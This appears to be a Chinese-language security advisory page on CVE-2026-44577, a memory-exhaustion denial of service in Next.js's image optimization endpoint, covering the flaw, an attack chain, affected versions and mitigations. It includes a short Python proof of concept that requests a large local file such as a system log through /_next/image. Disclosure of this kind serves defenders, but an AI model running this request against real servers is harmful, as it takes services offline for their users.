IPBUF安全漏洞报告
English
CVE-2026-44577 CVSS 5.9 中危

CVE-2026-44577: Next.js 图片优化API内存耗尽漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44577
漏洞类型
拒绝服务
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next.js

相关标签

拒绝服务DoS内存耗尽Next.jsWeb安全

漏洞概述

Next.js 在自托管模式下使用默认图片加载器时,其 Image Optimization API 存在安全缺陷。系统在获取本地图片时将整个文件加载到内存中,且未强制执行最大大小限制。攻击者可通过向 /_next/image 端点请求匹配 localPatterns 配置的大型本地资源,触发内存耗尽条件,从而导致拒绝服务。

技术细节

该漏洞源于 Next.js 图片优化 API 对本地文件处理逻辑的缺陷。当服务器配置为自托管模式并使用默认图片加载器时,Next.js 会处理通过 /_next/image 路径传入的图片请求。代码在读取本地文件时,未对文件大小进行有效校验,直接将文件内容全部读入内存缓冲区。攻击者无需身份认证,只需构造特定的 HTTP 请求,指定目标服务器上存在的大文件(如日志、备份文件等)作为图片源,并确保该路径符合 images.localPatterns 的匹配规则。反复请求或请求超大文件将迅速消耗服务器内存资源,导致系统崩溃或服务不可用。

攻击链分析

STEP 1
侦察
识别目标是否运行 Next.js 框架,并确认其开启了自托管模式及图片优化功能。
STEP 2
枚举
探测服务器上是否存在大体积文件,或通过默认配置猜测可被访问的本地路径。
STEP 3
利用
向 /_next/image 接口发送恶意请求,URL 参数指向发现的本地大文件路径。
STEP 4
影响
服务器尝试加载大文件进内存,导致内存资源耗尽,服务崩溃或无响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_nextjs_dos(target_url, local_file_path): """ Proof of Concept for CVE-2026-44577 Attempts to trigger OOM by requesting a large local file via the Image Optimization API. """ # Construct the malicious URL pointing to a local large file # Assuming default config allows local patterns or specific known patterns # The payload targets the /_next/image endpoint payload_url = f"{target_url}/_next/image?url={local_file_path}&w=1&q=1" try: print(f"Sending request to: {payload_url}") response = requests.get(payload_url) print(f"Response Status: {response.status_code}") print("Check server memory usage and availability.") except Exception as e: print(f"Request failed: {e}") # Example usage # target = "http://localhost:3000" # large_file = "/var/log/syslog" # exploit_nextjs_dos(target, large_file)

影响范围

Next.js 10.0.0 到 15.5.16 之前
Next.js 16.0.0 到 16.2.5 之前

防御指南

临时缓解措施
在未升级前,建议严格配置 images.localPatterns,限制仅允许特定的、受信的图片路径,确保不包含超大文件。同时,可在反向代理层(如 Nginx)对请求响应体大小进行限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表